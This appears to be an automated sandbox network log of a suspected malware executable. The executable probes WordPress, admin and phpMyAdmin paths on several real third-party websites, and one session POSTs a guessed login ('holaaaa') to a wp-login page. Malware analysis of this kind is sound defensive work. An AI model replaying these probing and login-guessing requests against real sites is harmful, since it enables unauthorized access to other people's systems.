2023-11-26 06:00:05 UTC	184	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 2e 63 6f 6d 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 06:00:05 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rech.com/
2023-11-26 06:00:05 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
613	192.168.2.4	57332	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:05 UTC	923	OUT	GET /wp-admin/ HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=0pfpv6fic6tscei8l2krgncvto User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://login.microsoftonline.com/c8f4395e-fa4e-4196-adb9-ba2cd2ca09f0/saml2?SAMLRequest=fZJLj9sgFIX3%2BRUj740xzmOMkkjppI9IaRJN0i66qa7heoKEwQN42vz7OmaqaSs1LA%2F3Ozr3wNxDo1u%2B6sLZPOJzhz6M7vrzs9HG8%2BFykXTOcAteeW6gQc%2BD4MfV5y1nhPLW2WCF1ck%2F2G0KvEcXlDUR26wXyX73frv%2FuNl9L%2BsCZ6xiMygKEILeU5nXVT6dVZJhIRkUk0kNExnRr%2Bh877NIettkFN2873BjfAATep2yIs3zlE1PdMop5ZR9i%2Bi6X1YZCAN%2BDqH1PMu0fVKGNEo4620drNHKIBG2ycR9PS7KCaY1jDEd5%2BU0BVmVaQVMSCaAljXNrquzaH94beadMlKZp9uFVHHI80%2Bn0yE97I%2BnaLL6XdSDNb5r0B3RvSiBXx63b5mbCxGgX8BdyLOWBGVHoBuiZCJipD23yXJwnF91PnTkljcd5tmfo29wy3d9%2Fs36YLUSl0G%2Fng%2FWNRD%2Bv2ZO8kFRMq2HUd4Z36JQtcLXxxw21tr%2BeHAIARdJcB0md9lyFLP8%2FVGXvwA%3D&RelayState=%2Fwp-login.php
2023-11-26 06:00:05 UTC	399	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 35 20 47 4d 54 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 2f 6c 6f 67 69 6e 2f 3f 70 61 67 65 3d 25 32 46 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 06:00:05 GMTTransfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheLocation: /login/?page=%2F
2023-11-26 06:00:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
614	192.168.2.4	57447	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:05 UTC	170	OUT	GET /admin HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:06 UTC	547	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 35 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 Data Ascii: HTTP/1.1 302 Founddate: Sun, 26 Nov 2023 06:00:05 GMTserver: Apache/2.4.57 (Debian)x-powered-by: PHP/8.2.12expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <https://www.maxiv.lu.se/wp-json/>; rel="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
615	192.168.2.4	57481	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:05 UTC	395	OUT	POST /wp/wp-login.php HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_test_cookie=WP+Cookie+check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.ceuandalucia.es/wp/wp-login.php Content-Length: 138 Content-Type: application/x-www-form-urlencoded
2023-11-26 06:00:05 UTC	138	OUT	Data Raw: 6c 6f 67 3d 68 6f 6c 61 61 61 61 26 70 77 64 3d 68 6f 6c 61 61 61 61 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 41 63 63 65 64 65 72 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 25 32 46 77 70 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=holaaaa&pwd=holaaaa&rememberme=forever&wp-submit=Acceder&redirect_to=https%3A%2F%2Fwww.ceuandalucia.es%2Fwp%2Fwp-admin%2F&testcookie=1
2023-11-26 06:00:06 UTC	542	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:05 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=
2023-11-26 06:00:06 UTC	7437	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: <!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="es" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
616	192.168.2.4	57801	54.233.137.124	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:06 UTC	162	OUT	GET / HTTP/1.1 Host: www.rech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:06 UTC	621	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 70 74 2d 42 52 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6f 72 69 67 69 6e 44 69 72 65 63 74 3d 74 72 75 65 3b 20 4d 61 78 2d 41 67 65 3d 36 30 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:06 GMTContent-Type: text/html;charset=UTF-8Transfer-Encoding: chunkedConnection: closeContent-Language: pt-BRContent-Security-Policy: frame-ancestors 'self'Set-Cookie: originDirect=true; Max-Age=60
2023-11-26 06:00:06 UTC	15763	IN	Data Raw: 37 64 38 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 Data Ascii: 7d88<!DOCTYPE html>...[if lt IE 7 ]> <html lang="pt" class="no-js ie6"> <![endif]-->...[if IE 7 ]> <html lang="pt" class="no-js ie7"> <![endif]-->...[if IE 8 ]> <html lang="pt" class="no-js ie8"> <![endif]-->...[if IE 9 ]> <html lang="p
2023-11-26 06:00:06 UTC	16381	IN	Data Raw: 6f 6e 63 6c 69 63 6b 3d 22 73 65 6e 64 4b 69 6e 65 73 69 73 44 61 74 61 41 6a 61 78 28 7b 61 63 74 69 6f 6e 49 44 3a 20 27 63 6c 69 63 6b 27 2c 61 63 74 69 6f 6e 44 61 74 61 3a 60 61 64 65 73 69 76 6f 73 2d 64 65 63 61 6c 71 75 65 73 20 2d 20 63 61 74 65 67 6f 72 79 32 60 7d 29 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 41 64 65 73 69 76 6f 73 20 26 61 6d 70 3b 20 44 65 63 61 6c 71 75 65 73 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 2d 6d 65 6e 75 2d 69 74 65 6d 2d 6c 69 6e 6b 22 0a 09 09 09 Data Ascii: onclick="sendKinesisDataAjax({actionID: 'click',actionData:`adesivos-decalques - category2`})">Adesivos & Decalques</a><a class="sub-menu-item-link"
2023-11-26 06:00:06 UTC	16384	IN	Data Raw: 37 66 65 30 0d 0a 74 65 72 2d 73 65 6c 65 63 74 20 79 2d 79 65 61 72 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 4e c3 ba 6d 65 72 6f 20 64 65 20 53 c3 a9 72 69 65 22 2f 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 66 69 6c 74 65 72 2d 62 75 74 74 6f 6e 20 62 74 6e 20 62 74 6e 2d 6c 67 20 6e 6f 2d 72 61 64 69 75 73 22 3e 46 69 6c 74 72 61 72 3c 2f 62 75 74 74 6f 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 6e 61 76 3e 0a 09 09 09 0a 09 09 0a 09 0a 3c 73 63 72 69 70 74 3e 0a 09 76 61 72 20 Data Ascii: 7fe0ter-select y-year" placeholder="Nmero de Srie"/><button type="submit" class="filter-button btn btn-lg no-radius">Filtrar</button></div></div></div></div></div></nav><script>var
2023-11-26 06:00:06 UTC	16360	IN	Data Raw: 09 09 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 78 2d 74 77 6f 22 20 3e 0a 09 09 09 09 0a 09 09 09 09 09 0a 09 09 09 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 78 2d 74 68 72 65 65 22 3e 0a 09 09 09 09 0a 09 09 09 09 09 0a 09 09 09 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 78 2d 66 6f 75 72 22 3e 0a 09 09 09 09 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 5f 5f 6c 6f 67 6f 22 3e 0a 09 09 09 09 09 09 3c 61 20 68 72 65 Data Ascii: </div><div class="container-secondary-box-two" ></div><div class="container-secondary-box-three"></div><div class="container-secondary-box-four"><div class="footer__logo"><a hre
2023-11-26 06:00:06 UTC	8864	IN	Data Raw: 32 32 39 38 0d 0a 0a 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 75 6e 74 64 6f 77 6e 2d 74 65 6d 70 6c 61 74 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 68 61 6e 64 6c 65 62 61 72 73 2d 74 65 6d 70 6c 61 74 65 22 3e 0a 09 09 7b 7b 23 69 66 20 73 6b 75 2e 62 65 73 74 7d 7d 0a 09 3c 64 69 76 20 69 74 65 6d 70 72 6f 70 3d 22 6f 66 66 65 72 73 22 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4f 66 66 65 72 22 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 64 6f 77 6e 2d 6f 66 66 65 72 22 3e 0a 09 09 3c 6c 69 6e 6b 20 69 74 65 6d 70 72 6f 70 3d 22 75 72 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 2e 63 6f 6d 2f 22 2f 3e Data Ascii: 2298</script><script id="countdown-template" type="text/x-handlebars-template">{{#if sku.best}}<div itemprop="offers" itemscope="" itemtype="http://schema.org/Offer" class="countdown-offer"><link itemprop="url" href="https://www.rech.com/"/>
2023-11-26 06:00:07 UTC	16384	IN	Data Raw: 36 61 64 34 0d 0a 74 22 3e 50 72 61 7a 6f 20 65 20 76 61 6c 6f 72 20 64 6f 20 66 72 65 74 65 3c 2f 6c 61 62 65 6c 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 67 72 6f 75 70 20 72 6f 77 20 64 69 76 2d 63 61 6c 63 75 6c 61 74 65 2d 66 72 65 69 67 68 74 22 3e 0a 09 09 3c 69 6e 70 75 74 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 43 45 50 20 64 65 20 65 6e 74 72 65 67 61 22 20 6f 6e 66 6f 63 75 73 3d 22 6d 61 73 6b 43 65 70 28 29 22 20 74 79 70 65 3d 22 74 65 78 74 22 20 69 64 3d 22 7a 69 70 63 6f 64 65 43 6f 6d 70 75 74 65 46 72 65 69 67 68 74 22 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 20 63 6f 6c 2d 37 20 69 6e 70 75 74 2d 63 61 6c 63 75 6c 61 74 65 2d 66 72 65 69 67 68 74 22 20 6e 61 6d 65 3d 22 63 65 70 22 20 64 61 74 61 Data Ascii: 6ad4t">Prazo e valor do frete</label><div class="form-group row div-calculate-freight"><input placeholder="CEP de entrega" onfocus="maskCep()" type="text" id="zipcodeComputeFreight" class="form-control col-7 input-calculate-freight" name="cep" data
2023-11-26 06:00:07 UTC	10972	IN	Data Raw: 09 09 09 09 09 09 7b 7b 73 74 6f 63 6b 52 65 6d 61 69 6e 69 6e 67 7d 7d 20 55 4e 49 44 41 44 45 53 0a 09 09 09 09 09 09 09 09 09 09 09 09 7b 7b 2f 63 6f 6d 70 61 72 65 7d 7d 0a 09 09 09 09 09 09 09 09 09 09 09 09 7b 7b 23 63 6f 6d 70 61 72 65 20 73 74 6f 63 6b 52 65 6d 61 69 6e 69 6e 67 20 27 3d 3d 27 20 31 7d 7d 0a 09 09 09 09 09 09 09 09 09 09 09 09 7b 7b 73 74 6f 63 6b 52 65 6d 61 69 6e 69 6e 67 7d 7d 20 55 4e 49 44 41 44 45 0a 09 09 09 09 09 09 09 09 09 09 09 09 7b 7b 2f 63 6f 6d 70 61 72 65 7d 7d 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 09 7b 7b 23 69 66 20 62 65 73 74 2e 63 6f 75 6e 74 64 6f 77 6e 44 69 73 63 6f 75 6e 74 7d 7d 0a 09 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 69 Data Ascii: {{stockRemaining}} UNIDADES{{/compare}}{{#compare stockRemaining '==' 1}}{{stockRemaining}} UNIDADE{{/compare}}</div>{{#if best.countdownDiscount}}<div class="di
2023-11-26 06:00:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
617	192.168.2.4	57825	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:06 UTC	164	OUT	GET /admin HTTP/1.1 Host: knu.ac.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:06 UTC	211	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 61 64 6d 69 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 39 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 06:00:06 GMTServer: ApacheLocation: https://www.knu.ac.in/adminContent-Length: 295Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 06:00:06 UTC	295	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 61 64 6d 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 6b 6e 75 2e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.knu.ac.in/admin">here</a>.</p><hr><address>Apache Server at knu.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
618	192.168.2.4	57907	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:06 UTC	249	OUT	GET /wp-admin/ HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip Cookie: ff59ae34f86788aafc83adbd6fbb16ab=294c8cffe744133c8b51c696bc79a752 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:06 UTC	98	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 30 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 2f 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 302 Foundcontent-length: 0location: /cache-control: no-cacheconnection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
619	192.168.2.4	57854	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:06 UTC	175	OUT	GET /pma/ HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
